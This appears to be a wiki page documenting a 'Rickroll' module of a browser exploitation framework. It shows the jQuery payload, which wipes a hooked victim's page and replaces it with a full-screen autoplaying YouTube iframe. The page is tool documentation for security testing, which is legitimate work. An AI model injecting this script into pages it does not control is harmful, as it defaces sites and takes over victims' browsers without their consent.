Skip to content

Module: Redirect Browser (Rickroll)

Haoxi Tan edited this page Jan 9, 2020 · 2 revisions

Summary

  • Objective: Replace the body of the page with a full screen Rickroll

  • Authors: Yori Kvitchko

  • Browsers: All

  • Code

Internal Working

By default, this replaces all <embed> tags to a youtube video of rickroll.

$j('body').html('');

$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});

$j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');

Feedback

Clone this wiki locally